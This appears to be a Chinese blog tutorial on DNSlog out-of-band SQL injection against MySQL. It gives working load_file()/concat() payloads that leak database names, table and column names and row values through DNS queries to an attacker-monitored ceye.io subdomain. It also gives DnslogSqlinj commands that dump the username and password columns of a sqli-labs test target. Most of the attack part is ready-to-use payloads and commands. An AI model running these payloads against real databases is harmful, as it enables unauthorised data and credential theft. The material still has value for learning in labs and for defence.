- 一:DNSlog注入原理
- 二:DNSlog应用场景
- 三:DNSlog手工注入
- 四:利用DnslogSqlinj工具进入DNSlog注入
Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
二:DNSlog应用场景在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等 *** 作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数
三:DNSlog手工注入1.要利用在线的dns在线服务器,网站可以记录下我们的DNS请求,并用网站查询信息
网站网址:http://www.dnslog.cn http://ceye.io/ http://admin.dnslog.link
2.pylaod构造
// 查询当前数据库
id=1'and load_file(concat("\\",database(),".913n8.ceye.io\xxx.txt"))--+
//查询其他数据库
id=1'and load_file(concat("\\",(select schema_name from information_schema.schemata limit 0,1),".913n8.ceye.io\xxx.txt"))--+
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个数据库名
limit 1,1 查询第二个数据库名
limit 2,1 查询第三个数据库名
"""
//查询版本号
id=1'and load_file(concat("\\",version(),".913n8.ceye.io\xxx.txt"))--+
//查询当前数据库security中第一个表名
id=1'and load_file(concat("\\",(select table_name from information_schema.tables where table_schema='security' limit 0,1 ),".913n8.ceye.io\xxx.txt"))--+
"""
由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
limit 0,1 查询第一个表名
limit 1,1 查询第二个表名
limit 2,1 查询第三个表名
"""
//查询security数据库emails表下第一个列名
id=1'and load_file(concat("\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".913n8.ceye.io\xxx.txt"))--+
//查询字段值 数据库名为security 表名emails 列名id
id=1'and load_file(concat("\\",(select id from security.emails limit 0,1),".913n8.ceye.io\xxx.txt"))--+
注意:要用limit控制查询的数,以及查询的位置
3.通知DNS在线服务器,查询日志,获取注入信息。
查询的截图:
工具下载链接
https://github.com/adooo/dnslogsqlinj
需要使用python27环境
配置:
找到DNS在线服务器,例如上面用到的 http://ceye.io 找到profile 把相应的信息写到config.py中
使用语句:
获取数据库名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs
获取数据库security下的表名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables
获取users表的列名:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns
获取uses表中的数据:
python2.7 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
测试截图:
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)